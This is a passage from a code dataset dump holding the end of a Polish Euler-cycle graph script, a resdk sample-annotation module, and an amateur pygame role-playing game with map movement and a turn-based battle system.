flist.append(data_sample[flistvariable])\r\n\r\n\r\n# predkosc do listy\r\nglobal vlist\r\nvlist = []\r\nfor n in range(0, length_of_list_sample):\r\n vlistvariable = 1 + (4*n)\r\n vlist.append(data_sample[vlistvariable])\r\n\r\n\r\n#porownuje idsamplelist oraz idtimestamplist\r\n# a nastepnie dodaje jeden gdy sie roznia poniewaz w tym momencie pobierana jest probka\r\nglobal datesamplelist\r\ndatesamplelist = []\r\ny=0\r\n\r\n\r\nfor n in range (0,len(idtimestamplist)):\r\n if idtimestamplist[n] == idsamplelist[y]:\r\n datesamplelist.append(datelist[n])\r\n for x in range (y,len(idsamplelist)):\r\n if n+1 \", end = '')\r\n print(cur )\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmypath = Path(\"dane_b.txt\")\r\nczy_pusty = mypath.stat().st_size\r\nif(czy_pusty == 0):\r\n print(\"Plik jest pusty\")\r\n\r\nelse:\r\n with open('dane_b.txt') as f:\r\n first_line = f.readline()\r\n V_and_E = first_line.split()\r\n v = int(V_and_E[0])\r\n e = int(V_and_E[1])\r\n\r\n #print(\"v\",v, \"e\", e)\r\n\r\n matrix= [[0]*v for _ in range(v)]\r\n\r\n with open(\"dane_b.txt\", 'r') as f:\r\n licznik = 0\r\n for i, x in enumerate(f):\r\n ilosc = x.split()\r\n ilosc = len(ilosc)\r\n if ilosc != 2:\r\n print(\"niepoprawnie wprowadzone dane!\")\r\n break\r\n if 1 <= i:\r\n word = x.split()\r\n if word[1].isdigit() and word[0].isdigit():\r\n w1=0\r\n w2=0\r\n w1 = int(word[0])\r\n w2 = int(word[1])\r\n matrix[w1][w2] = 1\r\n matrix[w2][w1] = 1\r\n licznik += 1\r\n else:\r\n print(\"Można wprowadzać tylko cyfry\")\r\n break\r\n\r\n\r\n if e != licznik:\r\n print(\"Dane są wprowadzone niepoprawnie\")\r\n\r\n else:\r\n findpath(matrix)\r\n\r\n\r\n\r\n","sub_path":"cykl_Eulera_macierz_sasiedztwa.py","file_name":"cykl_Eulera_macierz_sasiedztwa.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"9624879","text":"\"\"\"Annotate samples in a collection.\"\"\"\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport logging\nfrom collections import OrderedDict\n\nfrom resdk.data_upload.samplesheet import FileExporter, FileImporter\n\n__all__ = ('annotate_samples', 'export_annotation')\n\nlogger = logging.getLogger(__name__)\n\n\ndef annotate_samples(collection, samplesheet_source, schema='sample'):\n \"\"\"Batch-annotate the samples in a collection.\n\n Apply annotations to the samples in a collection based on a\n sample annotation spreadsheet. Match the entries in the spreadsheet and the\n samples in the collection by sample name, and validate for upload.\n\n :param str samplesheet_source: path to a local sample annotation\n spreadsheet, or an existing FileImporter object created from an upload\n :param str schema: slug of the descriptor schema to use\n \"\"\"\n # Extract the information from a sample annotation spreadsheet\n if isinstance(samplesheet_source, FileImporter):\n samplesheet = samplesheet_source\n else:\n samplesheet = FileImporter(samplesheet_source)\n valid_entries = samplesheet.valid_samples\n err_names = samplesheet.invalid_names\n\n # TODO: Try to pull the samplesheet as a data object from the collection\n # once it is possible to upload samplesheets\n\n # Match annotation entries to collection samples\n coll_samples = OrderedDict(\n (name, collection.samples.filter(name=name)) for name in valid_entries\n )\n\n # Partition out the samples missing or duplicated in the collection\n ready_samples = OrderedDict(\n (name, samples) for name, samples in coll_samples.items() if len(samples) == 1\n )\n missing_names = {name for name, samples in coll_samples.items() if not samples}\n dupl_names = {name for name, samples in coll_samples.items() if len(samples) > 1}\n\n err_missing = {\n name for name in err_names if not collection.samples.filter(name=name)\n }\n if '' in err_names: # TODO: Remove this when empty queries are fixed.\n err_missing.add('')\n missing_names.update(err_missing)\n\n if missing_names:\n logger.error(\n \"\\nThe following samples are missing from the collection:\"\n \" %s. \\nPlease check the names.\",\n ', '.join(missing_names)\n )\n if dupl_names:\n logger.error(\n \"Multiple samples are queried by the name '%s'. Annotation \"\n \"will not be applied.\",\n \"', '\".join(dupl_names)\n )\n\n # Apply each annotation to a sample in the collection\n logger.debug(\"\\nAnnotating Samples...\\n\")\n for name, samples in ready_samples.items():\n _apply_annotation(valid_entries[name], samples[0], schema)\n\n # Report annotation successes.\n sample_count = len(ready_samples)\n logger.debug(\"\\nAnnotated %s samples.\\n\", sample_count)\n\n\ndef export_annotation(collection=None, path=None):\n \"\"\"Download a sample annotation spreadsheet based on the collection.\n\n The spreadsheet will be prepopulated with existing annotation data.\n Fill out remaining sample annotation data, and then re-import using\n ``Collection.annotate``.\n\n :param str path: path to save the annotation spreadsheet template\n \"\"\"\n if collection:\n samples = collection.samples\n if path:\n filepath = path\n else:\n filepath = \"{}.xlsm\".format(collection.slug)\n logger.debug(\n \"\\nExporting sample annotation template for collection '%s'...\\n\",\n collection.name)\n else:\n samples = []\n if path:\n filepath = path\n else:\n filepath = 'template.xlsm'\n logger.debug(\"Exporting empty sample annotation template.\")\n FileExporter(samples, filepath)\n logger.info(\"\\nSample annotation template exported to %s.\\n\", filepath)\n\n\ndef _apply_annotation(entry, sample, schema):\n \"\"\"Apply sample and reads annotations.\"\"\"\n # Apply the sample annotation\n sample.descriptor_schema = schema\n sample.descriptor = entry.sample_annotation\n if entry.community_tag:\n sample.tags.append(entry.community_tag)\n sample.save()\n sample.confirm_is_annotated()\n\n # Apply the reads descriptor to all of the reads associated with\n # the sample\n for reads in sample.data.filter(type='data:reads'):\n reads.descriptor_schema = 'reads'\n reads.descriptor = entry.reads_annotation\n reads.save()\n","sub_path":"resdk/data_upload/annotate_samples.py","file_name":"annotate_samples.py","file_ext":"py","file_size_in_byte":4475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"15753482","text":"#######################################################################################################\n#######################################################################################################\n#######################################################################################################\nfrom pygame import *\nfrom random import *\nfrom math import *\nfrom types import ModuleType #From internet, used for some testing\n\nscreen = display.set_mode((800,700))\nmyClock = time.Clock()\nmaskPic = image.load(\"Backgrounds and Mask/F1mask.png\")\nbackPic = image.load(\"Backgrounds and Mask/F1.png\")\ncurmap=[1,0]\nrole=\"warrior\"\n\nfont.init()\ninit()\nfont = font.SysFont(None, 20)\n\nGREEN = (0,128,0)\nRED = (255,0,0)\nBLACK = (0,0,0)\n\nclass Party():#The class for the walking Ness\n def __init__(self,X,Y,direct,idle):\n self.X=X\n self.Y=Y\n self.direct=direct\n self.idle=False\n \n def move(self):\n f = frame//ANIMATION_SPEED % len(picsHero[self.direct])\n pic = picsHero[self.direct][f]\n keys=key.get_pressed()\n if keys[K_RIGHT] and keys[K_DOWN]:\n self.idle=False #Self.idle is whether Ness is idle or not\n self.direct=DOWN\n self.X+=2\n self.Y+=2 \n if maskCollide(self.hitbox(),maskPic):#If the mask is hit, Ness's movement is countered\n self.X-=2\n self.Y-=2\n elif keys[K_LEFT] and keys[K_DOWN]:\n self.idle=False\n self.direct=DOWN\n self.X-=2\n self.Y+=2 \n if maskCollide(self.hitbox(),maskPic):\n self.X+=2\n self.Y-=2\n elif keys[K_RIGHT] and keys[K_UP]:\n self.idle=False\n self.direct=UP\n self.X+=2\n self.Y-=2 \n if maskCollide(self.hitbox(),maskPic):\n self.X-=2\n self.Y+=2\n elif keys[K_LEFT] and keys[K_UP]:\n self.idle=False\n self.direct=UP\n self.X-=2\n self.Y-=2 \n if maskCollide(self.hitbox(),maskPic):\n self.X+=2\n self.Y+=2\n elif keys[K_RIGHT]:\n self.idle=False\n self.direct=RIGHT\n self.X+=3\n if maskCollide(self.hitbox(),maskPic):\n self.X-=3\n elif keys[K_DOWN]:\n self.idle=False\n self.direct=DOWN\n self.Y+=3\n if maskCollide(self.hitbox(),maskPic):\n self.Y-=3\n elif keys[K_UP]:\n self.idle=False\n self.direct=UP\n self.Y-=3\n if maskCollide(self.hitbox(),maskPic):\n self.Y+=3\n elif keys[K_LEFT]:\n self.idle=False\n self.direct=LEFT\n self.X-=3\n if maskCollide(self.hitbox(),maskPic):\n self.X+=3\n else:\n self.idle=True\n #Transitioning between screens\n if self.X+pic.get_width()//2>=795:\n back=mapp[curmap[0]][curmap[1]+1]\n curmap[1]+=1#Curmap is the postition on the map\n update(back[0],back[1])\n self.X=30\n if self.X-pic.get_width()//2<=5:\n back=mapp[curmap[0]][curmap[1]-1]\n curmap[1]+=-1\n update(back[0],back[1])\n self.X=770\n if self.Y+pic.get_height()//2>=695:\n back=mapp[curmap[0]+1][curmap[1]]\n curmap[0]+=1\n update(back[0],back[1])\n self.Y=30\n if self.Y-pic.get_height()//2<=5:\n back=mapp[curmap[0]-1][curmap[1]]\n curmap[0]+=-1\n update(back[0],back[1])\n self.Y=670\n \n def hitbox(self):\n f = frame//ANIMATION_SPEED % len(picsHero[self.direct])\n pic = picsHero[self.direct][f]\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n return hitbox\n \n def draw(self):\n f = frame//ANIMATION_SPEED % len(picsHero[self.direct])\n if self.idle==False:\n pic=picsHero[self.direct][f]\n else:\n pic=picsHeroIdle[0][self.direct]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n \nclass Enemy():#Class for walking enemies\n def __init__(self,direct,moveType,sprite,mask):\n self.direct = direct\n self.moveType = moveType\n self.sprite = sprite\n self.mask=eval(mask)#Each enemy comes with their own mask\n #self.changedirect = {UP:DOWN,DOWN:UP,RIGHT:LEFT,LEFT:RIGHT}\n if self.sprite!=\"shroom\":\n while True:\n self.X=randint(50,750)\n self.Y=randint(50,650)\n if not maskCollide(self.hitbox(),self.mask):\n break\n else:\n self.X=390\n self.Y=350\n\n def move(self):\n if self.sprite!=\"shroom\":#Boss doesn't move\n if self.moveType==\"Tiny\":\n adjust=3\n switchChance=randint(1,5)\n if self.moveType==\"Medium\":\n adjust=2\n switchChance=randint(1,10)\n if self.moveType==\"Fat\":\n adjust=1\n switchChance=randint(1,10)\n if self.sprite!=\"Ghost\":#The ghost has different AI that follows you through obstacles\n if switchChance==1:#Changes directions sometimes\n self.direct=randint(0,3)\n if self.direct==RIGHT:\n self.X+=adjust\n if maskCollide(self.hitbox(),self.mask):\n self.X-=adjust#Counters movement if wall is hit \n elif self.direct==DOWN:\n self.Y+=adjust\n if maskCollide(self.hitbox(),self.mask):\n self.Y-=adjust \n elif self.direct==UP:\n self.Y-=adjust\n if maskCollide(self.hitbox(),self.mask):\n self.Y+=adjust \n elif self.direct==LEFT:\n self.X-=adjust\n if maskCollide(self.hitbox(),self.mask):\n self.X+=adjust\n \n if self.X>=780:#Counters movement if the enemies are leaving the screen\n self.X+=-1\n if self.X<=20:\n self.X+=1\n if self.Y>=680:\n self.Y+=-1\n if self.Y<=20:\n self.X+=1\n \n else:#Spooky Ghosts\n if self.X>part.X:\n self.X+=choice([0,-1,-2])\n self.direct=LEFT\n if self.Xpart.Y:\n self.Y+=choice([0,-1,-2])\n self.direct=UP\n if self.Y=780:#Counters movement if the enemies are leaving the screen\n self.X+=-1\n if self.X<=20:\n self.X+=1\n if self.Y>=680:\n self.Y+=-1\n if self.Y<=20:\n self.X+=1\n \n #This all later made the enemies \"dance\"(spaz), so I came up with a better solution \n '''def dirSwitch(self): #Albert taught Dictionaries\n #What I had before:\n if self.direct==UP:\n self.direct=DOWN\n if self.direct==DOWN:\n self.direct=UP\n if self.direct==RIGHT:\n self.direct=LEFT\n if self.direct==LEFT:\n self.direct=RIGHT\n self.direct=self.changedirect[self.direct]'''\n \n def hitbox(self):\n if self.sprite==\"MadDuck\":\n f = frame//ANIMATION_SPEED % len(pics[self.direct])#Some help used here from the exapmle programs\n pic = pics[self.direct][f]\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n if self.sprite==\"Chomposaur\":\n f = frame//ANIMATION_SPEED % len(pics2[self.direct])\n pic = pics2[self.direct][f]\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n if self.sprite==\"Bear\":\n f = frame//ANIMATION_SPEED % len(pics3[self.direct])\n pic = pics3[self.direct][f]\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n if self.sprite==\"Cultist\":\n f = frame//ANIMATION_SPEED % len(pics4[self.direct])\n pic = pics4[self.direct][f]\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n if self.sprite==\"Poo\":\n f = frame//ANIMATION_SPEED % len(pics5[self.direct])\n pic = pics5[self.direct][f]\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n if self.sprite==\"Ghost\":\n f = frame//ANIMATION_SPEED % len(pics6[self.direct])\n pic = pics6[self.direct][f]\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n if self.sprite==\"shroom\":\n pic = pics7[0]#Shroom is special, only has one pic\n hitbox = Rect(self.X-pic.get_width()//2,self.Y-pic.get_height()//2,pic.get_width(),pic.get_height())\n return hitbox\n \n def draw(self):\n if self.sprite==\"MadDuck\":\n f = frame//ANIMATION_SPEED % len(pics[self.direct])\n pic = pics[self.direct][f]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n if self.sprite==\"Chomposaur\":\n f = frame//ANIMATION_SPEED % len(pics2[self.direct])\n pic = pics2[self.direct][f]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n if self.sprite==\"Bear\":\n f = frame//ANIMATION_SPEED % len(pics3[self.direct])\n pic = pics3[self.direct][f]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n if self.sprite==\"Cultist\":\n f = frame//ANIMATION_SPEED % len(pics4[self.direct])\n pic = pics4[self.direct][f]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n if self.sprite==\"Poo\":\n f = frame//ANIMATION_SPEED % len(pics5[self.direct])\n pic = pics5[self.direct][f]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n if self.sprite==\"Ghost\":\n f = frame//ANIMATION_SPEED % len(pics6[self.direct])\n pic = pics6[self.direct][f]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n if self.sprite==\"shroom\":\n pic = pics7[0]\n screen.blit(pic,(self.X-pic.get_width()//2,self.Y-pic.get_height()//2))\n############\nclass BattleParty():\n #Class that maintains the stats (health,moves) of the party\n def __init__(self,role):\n if role==\"warrior\":\n self.movelist=Strip(\"Stats/WarriorStats.txt\")\n if role==\"mage\":\n self.movelist=Strip(\"Stats/MageStats.txt\")\n if role==\"rogue\":\n self.movelist=Strip(\"Stats/RogueStats.txt\")\n self.role = self.movelist[0]\n self.curhp = self.movelist[1]\n self.curmp = self.movelist[2]\n self.maxhp = self.movelist[3]\n self.maxmp = self.movelist[4]\n self.abil1 = self.movelist[5]#Ability damage numbers\n self.abil2 = self.movelist[6]\n self.abil3 = self.movelist[7]\n self.abil4 = self.movelist[8]\n\n self.Move = self.abil1 #current move\n\n def MoveSelect(self):\n #Function that determines the current move of the player and draws the\n #buttons for the selection\n \n #supposed to be a user prompt but disapears to quickly...\n drawText(\"What will you do?\", font, screen, 10,400, BLACK)\n myClock.tick(300)\n redraw()\n #draws the buttons used in the selection process\n button1.drawButton(button)\n drawMoveText(\"PUNCH\" , font, screen, 300, 499, BLACK)\n button2.drawButton(button)\n drawMoveText(\"KICK\" , font, screen, 500, 499, BLACK)\n button3.drawButton(button)\n drawMoveText(\"BITE\" , font, screen, 300, 566, BLACK)\n button4.drawButton(button)\n drawMoveText(\"FURY\", font, screen, 500, 566, BLACK)\n display.update() \n\n\n #listener for the move selection process. When mouse is clicked\n #the button class checks if click is within button\n picked = 0\n mx,my= mouse.get_pos()\n while picked == 0:\n mx,my = mouse.get_pos()\n for evnt in event.get():\n if evnt.type == QUIT:\n quit()\n \n elif evnt.type == MOUSEBUTTONDOWN:\n if button1.pressed(mx,my) == True:\n self.Move = self.abil1 #assigns the corresponding move\n picked = 1 #conditional to break loop\n if button2.pressed(mx,my) == True:\n self.Move = self.abil2\n picked = 1\n if button3.pressed(mx,my) == True:\n self.Move = self.abil3\n picked = 1 \n if button4.pressed(mx,my) == True:\n self.Move = self.abil4\n picked = 1\n #returns the current move\n return self.Move\n \n def AttackSequence(self,enemy):\n #function that displays a prompt and determunes current health and\n #order \n screen.blit(background, (0,0))\n displayMessage(\"You inflicted \" + \" \" +str(self.Move) + \"damage!\")\n benemy.curhp = Damage(benemy.curhp, self.Move)\n\nclass BattleEnemy():\n #Class that maintains the stats (health,moves) of the enemy\n def __init__(self,sprite):\n self.sprite = sprite\n #determines which type the enemy is and makes a list of moves based on it\n if sprite==\"MadDuck\":\n self.movelist=Strip(\"Stats/MadDuckStats.txt\")\n if sprite==\"Chomposaur\":\n self.movelist=Strip(\"Stats/ChomposaurStats.txt\")\n if sprite==\"Bear\":\n self.movelist=Strip(\"Stats/BearStats.txt\")\n if sprite==\"Boss\":\n self.movelist=Strip(\"Stats/BossStats.txt\") \n if sprite==\"Zombie\":\n self.moveList=Strip(\"Stats/ZombieStats.txt\") \n if sprite==\"Cultist\":\n self.moveList=Strip(\"Stats/CultistStats.txt\")\n \n self.role = self.movelist[0] \n self.curhp = self.movelist[1]\n self.curmp = self.movelist[2]\n self.maxhp = self.movelist[3]\n self.maxmp = self.movelist[4]\n self.abil1 = self.movelist[5]#Ability damage numbers\n self.abil2 = self.movelist[6]\n self.abil3 = self.movelist[7]\n self.abil4 = self.movelist[8]\n\n self.Move = self.abil1 #current move\n\n def MoveSelect(self):\n #Function that determines selected moves\n self.Move = self.abil1\n return self.Move\n\n def AttackSequence(self, player):\n #function that displays a prompt and determunes current health and\n #order \n screen.blit(background, (0,0))\n displayMessage(\"Enemy inflicted\"+ str(self.Move) + \"damage!\")\n party.curhp = Damage(party.curhp, self.Move)\n\n############\nclass Button():\n #Class that creates and maintains the buttons\n def assignImage(self, picture):\n #assigns image to button\n self.rect = picture.get_rect()\n def setCoords(self, x,y):\n #assigns coordinates of each button\n self.rect.topleft = x,y\n def drawButton(self, picture):\n #blits and handles the button on screen\n screen.blit(picture, self.rect)\n def pressed(self,mx,my):\n #determines whether or not the mouse click is present\n if self.rect.collidepoint(mx,my)==True:\n return True\n\nclass Healthbar():\n #class for creating healthbars for both player and enemy\n def init(self,x,y):\n #Function that initializes the attributes of the health bars\n self.position = x,y\n self.posDimensions = [150,5]\n self.negDimensions = (150,5)\n def drawRects(self):\n #function that draws the rects\n draw.rect(screen, RED,(self.position,self.negDimensions))\n draw.rect(screen, GREEN, (self.position, self.posDimensions))\n display.update()\n def updateBarPlayer(self, PcurrentHp, PmaxHp):\n #function that determines the current length needed for the green.\n #It finds the proportion of remaining health and applies to to the \n #original (player)\n health = int(PcurrentHp)/int(PmaxHp)\n newBar = health*self.negDimensions[0]\n self.posDimensions[0] = newBar\n def updateBarEnemy(self, EcurrentHp, EmaxHp):\n #function that determines the current length needed for the green.\n #It finds the proportion of remaining health and applies to to the \n #original (enemy)\n health = int(EcurrentHp)/int(EmaxHp)\n newBar = health*self.negDimensions[0]\n self.posDimensions[0] = newBar\n####################\ndef makeMove(name,start,end):\n ''' This returns a list of pictures. They must be in the folder \"name\"\n and start with the name \"name\".\n start, end - The range of picture numbers \n '''\n move = []\n for i in range(start,end+1):\n move.append(image.load(\"%s/%s%03d.png\" % (name,name,i)))\n return move\n\n\ndef drawScene():#Function used from examples programs\n screen.blit(backPic,(0,0))\n for enemy in enemies:\n enemy.draw()\n part.draw()\n display.flip()\n\n\ndef collide():\n for enemy in enemies:\n if enemy.hitbox().colliderect(part.hitbox()):\n BattleEnemy(enemy.sprite)\n Battle()\n break\n \ndef maskCollide(box,mask=maskPic):#Looks at four corners and the middle of the right and left sides. Absolute value are not needed\n if mask.get_at((abs(box.x),abs(box.y)))==(255,0,0):\n return True\n if mask.get_at((abs(box.x)+box.width,abs(box.y)+box.height))==(255,0,0):\n return True\n if mask.get_at((abs(box.x),abs(box.y)+box.height))==(255,0,0):\n return True\n if mask.get_at((abs(box.x)+box.width,abs(box.y)))==(255,0,0):\n return True\n if mask.get_at((abs(box.x)+box.width,abs(box.y)+box.height//2))==(255,0,0):\n return True\n if mask.get_at((abs(box.x),abs(box.y)+box.height//2))==(255,0,0):\n return True\n return False\n\ndef update(back,enem):#Updates the backgrounds, enemies, and maps after transitioning to a new screen\n global maskPic\n global backPic\n global enemies\n maskPic=image.load(\"Backgrounds and Mask/\"+back+\"mask.png\")\n backPic=image.load(\"Backgrounds and Mask/\"+back+\".png\")\n enemies=enem\n\ndef moveEnemies(enemies):#This is if multiple baddies are around\n for enemy in enemies:\n enemy.move()\n######################\ndef drawMoveText(text, font, surface, x, y, color):\n #This function forces the text to be drawn from the center of the string\n\n textobj = font.render(text,1,color)\n textrect = textobj.get_rect()\n textrect.center = (x,y)\n surface.blit(textobj,textrect)\n display.update()\n\ndef redraw():\n #this function redraws all the elements of the battle system\n screen.fill((255,255,255))\n screen.blit(background,(0,0))\n \n drawText(party.role, font, screen, 600, 415, BLACK)\n playerBar.updateBarPlayer(party.curhp, party.maxhp)\n playerBar.drawRects()\n drawText(benemy.role, font, screen, 600, 45, BLACK)\n computerBar.updateBarEnemy(benemy.curhp, benemy.maxhp)\n computerBar.drawRects()\n #blits battle image based on the enemy type\n if benemy.sprite==\"Bear\":\n screen.blit(bear,(70,70))\n if benemy.sprite==\"MadDuck\":\n screen.blit(duck,(70,70))\n if benemy.sprite==\"Boss\":\n screen.blit(boss,(70,70))\n if benemy.sprite==\"Chomposaur\":\n screen.blit(chomposaur,(70,70))\n if benemy.sprite==\"Cultist\":\n screen.blit(cultist,(70,70))\n if benemy.sprite==\"Zombie\":\n screen.blit(zombie,(70,70))\n \n display.update()\n\ndef drawText(text, font, surface, x, y, color):\n#function for simply bliting text on a screen\n if len(text) > 49:\n textLine1 = text[:48]\n textLine2 = text[48:]\n else:\n textLine1 = text\n textLine2 = \"\"\n \n textobj1 = font.render(textLine1,1,color)\n textrect1 = textobj1.get_rect()\n textrect1.topleft = (x,y)\n surface.blit(textobj1,textrect1)\n display.update()\n \n textobj2 = font.render(textLine2,1,color)\n textrect2 = textobj2.get_rect()\n textrect2.topleft = (x,y+10)\n surface.blit(textobj2,textrect2)\n display.update()\n\ndef displayMessage(message):\n #Uses the draw text function to redraw a space and display the statements while in battle\n #kind of useless \n drawText(message, font, screen, 10,400, BLACK)\n redraw()\n #screen.blit(background, (0,0))\n\ndef Strip(file):\n #Function that is responsible for stripping data from a textfile and turning\n #into a list for use when performing moves\n file=open(file).read().strip().split()\n Stats=[]\n Stats.append(file[0])\n \n for i in range(1,9):\n file[i] = int(file[i])\n Stats.append(file[i])\n\n return Stats\n\ndef Damage(hp,Move):\n #function that determines the amount of damage taken per turn\n DMG = int(Move)\n hp = hp - DMG \n return hp\n\ndef world():\n screen.blit(endBack,(0,0))\n\ndef Battle():\n #main function that plays out the battle system and ends when either hp is 0\n mixer.music.load(\"theme2.mp3\")\n mixer.music.play()\n winner = \"\"\n fainted = False\n \n redraw()\n myClock.tick(1000)\n while fainted !=True:\n pMove = party.MoveSelect()\n eMove = benemy.MoveSelect()\n party.AttackSequence(benemy)\n myClock.tick(1000)\n computerBar.updateBarEnemy(benemy.curhp, benemy.maxhp)\n myClock.tick(1000)\n computerBar.drawRects()\n display.update()\n print(int(benemy.curhp))\n if benemy.curhp<0:\n fainted = True\n winner = \"player\"\n break\n \n benemy.AttackSequence(party)\n myClock.tick(1000)\n computerBar.updateBarPlayer(party.curhp, party.maxhp)\n myClock.tick(1000)\n computerBar.drawRects()\n display.update()\n print(int(party.curhp))\n if party.curhp<0:\n fainted = True\n winner = \"enemy\"\n break\n '''if winner==\"player\":\n screen.blit(endBack,(0,0))\n if winner==\"enemy\":\n screen.blit(endBack(0,0))'''\n\ndef collide():\n for enemy in enemies:\n if enemy.hitbox().colliderect(part.hitbox()):\n benemy=BattleEnemy(enemy.sprite)\n party=BattleParty(role)\n Battle()\n\n#######################\nRIGHT=0 #Indicies of the directions\nDOWN=1 \nUP=2\nLEFT=3\nANIMATION_SPEED=6\n\n\npicsHero=[]\npicsHero.append(makeMove(\"Ness\",7,8)) # RIGHT\npicsHero.append(makeMove(\"Ness\",3,4)) # DOWN\npicsHero.append(makeMove(\"Ness\",1,2)) # UP\npicsHero.append(makeMove(\"Ness\",5,6)) # LEFT\npicsHeroIdle=[]\npicsHeroIdle.append(makeMove(\"Ness\",9,12)) # RIGHT\npics=[]\npics.append(makeMove(\"MadDuck\",7,8)) # RIGHT\npics.append(makeMove(\"MadDuck\",3,4)) # DOWN\npics.append(makeMove(\"MadDuck\",1,2)) # UP\npics.append(makeMove(\"MadDuck\",5,6)) # LEFT\npics2=[]\npics2.append(makeMove(\"Chomposaur\",7,8)) # RIGHT\npics2.append(makeMove(\"Chomposaur\",3,4)) # DOWN\npics2.append(makeMove(\"Chomposaur\",1,2)) # UP\npics2.append(makeMove(\"Chomposaur\",5,6)) # LEFT\npics3=[]\npics3.append(makeMove(\"Bear\",7,8)) # RIGHT\npics3.append(makeMove(\"Bear\",3,4)) # DOWN\npics3.append(makeMove(\"Bear\",1,2)) # UP\npics3.append(makeMove(\"Bear\",5,6)) # LEFT\npics4=[]\npics4.append(makeMove(\"Cultist\",7,8)) # RIGHT\npics4.append(makeMove(\"Cultist\",3,4)) # DOWN\npics4.append(makeMove(\"Cultist\",1,2)) # UP\npics4.append(makeMove(\"Cultist\",5,6)) # LEFT\npics5=[]\npics5.append(makeMove(\"Poo\",10,12)) # RIGHT\npics5.append(makeMove(\"Poo\",4,6)) # DOWN\npics5.append(makeMove(\"Poo\",1,3)) # UP\npics5.append(makeMove(\"Poo\",7,9)) # LEFT\npics6=[]\npics6.append(makeMove(\"Zombie\",7,8)) # RIGHT #These are actually ghosts not zombies\npics6.append(makeMove(\"Zombie\",3,4)) # DOWN\npics6.append(makeMove(\"Zombie\",1,2)) # UP\npics6.append(makeMove(\"Zombie\",5,6)) # LEFT\npics7=[image.load(\"Shrooom.png\")] #Just one pic\n\nframe=0\nmove=2\nrunning=True\nmyClock=time.Clock()\n\n#Map names\nF1=\"F1\"\nF2=\"F2\"\nF3=\"F3\"\nF4=\"F4\"\nF5=\"F5\"\nF6=\"F6\"\nF9=\"F9\"\nXX=\"ERROR\"\n\n#Initalizes the images for the program\nbackground = image.load(\"Pics/background.png\")\n\nendBack = image.load(\"Pics/gameover.png\")\nbutton = image.load(\"Pics/button.png\") \n\nbear = image.load(\"Pics/bear1.png\")\nduck = image.load(\"Pics/duck1.png\")\nbuffalo = image.load(\"Pics/buffalo1.png\")\nchomposaur = image.load(\"Pics/chomposaur1.png\")\ncroc = image.load(\"Pics/croc1.png\")\ndog = image.load(\"Pics/dog1.png\")\ncultist = image.load(\"Pics/cultist1.png\")\njack = image.load(\"Pics/jack1.png\")\nzombie = image.load(\"Pics/zombie1.png\")\ngoat = image.load(\"Pics/goat1.png\")\nsnake = image.load(\"Pics/snake1.png\")\nmask1=\"image.load('Backgrounds and Mask/F1mask.png')\"\nmask2=\"image.load('Backgrounds and Mask/F2mask.png')\"\nmask3=\"image.load('Backgrounds and Mask/F5mask.png')\"\nmask4=\"image.load('Backgrounds and Mask/F9mask.png')\"\nmask5=\"image.load('Backgrounds and Mask/F6mask.png')\"\nmask6=\"image.load('Backgrounds and Mask/F4mask.png')\"\n\n#Making our objects on the map\npart=Party(600,175,0,False)\nparty=BattleParty(role)\n\nE1=[Enemy(randint(0,3),\"Tiny\",\"MadDuck\",mask1) for i in range(5)]\nE2=[Enemy(randint(0,3),\"Fat\",\"Chomposaur\",mask2) for i in range(2)]\nE3=[Enemy(randint(0,3),\"Fat\",\"Bear\",mask3) for i in range(3)]\nE4=[Enemy(randint(0,3),\"Tiny\",\"Cultist\",mask5) for i in range(3)]\nE5=[Enemy(randint(0,3),\"Tiny\",\"Ghost\",mask4) for i in range(3)]\nE6=[Enemy(randint(0,3),\"Boss\",\"shroom\",mask6)]\nenemies=E1\nmapp=[\n [[XX,XX],[XX,XX],[F4,E6]],\n [[F1,E1],[XX,XX],[F6,E4]],\n [[F2,E2],[F5,E3],[F9,E5]]]\n\nparty = BattleParty(\"warrior\")\nbenemy = BattleEnemy(\"Bear\")\n\nmyClock = time.Clock()\n\n \nrunning = True\n\n#Initalizes the health bars of the enemy and player\nplayerBar = Healthbar()\nplayerBar.init(600,400)\ncomputerBar = Healthbar()\ncomputerBar.init(600,35)\n\n#Initalizes the buttons for the selection process\nbutton1 = Button()\nbutton1.assignImage(button)\nbutton1.setCoords(202, 468)\nbutton2 = Button()\nbutton2.assignImage(button)\nbutton2.setCoords(402, 468)\nbutton3 = Button()\nbutton3.assignImage(button)\nbutton3.setCoords(202, 535)\nbutton4 = Button()\nbutton4.assignImage(button)\nbutton4.setCoords(402, 535)\n\n \nwhile running:\n for evnt in event.get():\n if evnt.type==QUIT:\n running=False\n \n frame+=1 \n moveEnemies(enemies)\n part.move()\n drawScene()\n collide()\n myClock.tick(30)\n \nquit()\n\n\n#########################################################\n#########################################################\n#########################################################\n#########################################################\n################################################################\n\n","sub_path":"NewEnemyFollow.py","file_name":"NewEnemyFollow.py","file_ext":"py","file_size_in_byte":27486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"62395532","text":"# coding=utf-8\nfrom db.models import BaseModel, User, Address, Post, 